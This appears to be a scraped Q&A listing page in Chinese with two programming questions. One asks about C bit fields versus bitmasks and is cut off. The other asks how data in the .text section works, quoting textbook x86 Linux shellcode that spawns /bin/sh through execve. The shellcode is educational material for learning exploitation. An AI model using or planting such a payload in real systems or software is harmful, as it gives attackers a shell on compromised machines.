我以前在 C 方面有过一些经验,但是我以前从未见过位域功能。我知道可以使用位掩码来隔离数据结构中的某些位,但是为什么还要使用位域呢?
例如,假设我们要隔离的位是前 3 个最低有效位。然后我们可以写:
/* our bitmasks */
#define FIELD_A (1 << 0)
#define FIELD_B (1 << 1)
#define FIELD_C (1 << 2)
int main(void)
{
/* the data structure that contains our three fields */
uint8_t flags;
/* accessing field A (as a boolean) */
int bool_a = !!(flags & FIELD_A);
/* accessing field B (as a boolean) */
int bool_b = !!(flags & FIELD_B);
/* accessing field C (as a boolean) */
int bool_c = !!(flags …Run Code Online (Sandbox Code Playgroud) 我不太明白变量如何存储在文本部分以及如何操作它们.不应该所有变量都在.data部分中,并且不是.text部分只读的所有部分吗?那么这段代码是如何工作的呢?
[代码取自Shellcoder的手册 ]
Section .text
global _start
_start:
jmp short GotoCall
shellcode:
pop esi
xor eax, eax
mov byte [esi + 7], al
lea ebx, [esi]
mov long [esi + 8], ebx
mov long [esi + 12], eax
mov byte al, 0x0b
mov ebx, esi
lea ecx, [esi + 8]
lea edx, [esi + 12]
int 0x80
GotoCall:
call shellcode
db '/bin/shJAAAAKKKK'
Run Code Online (Sandbox Code Playgroud)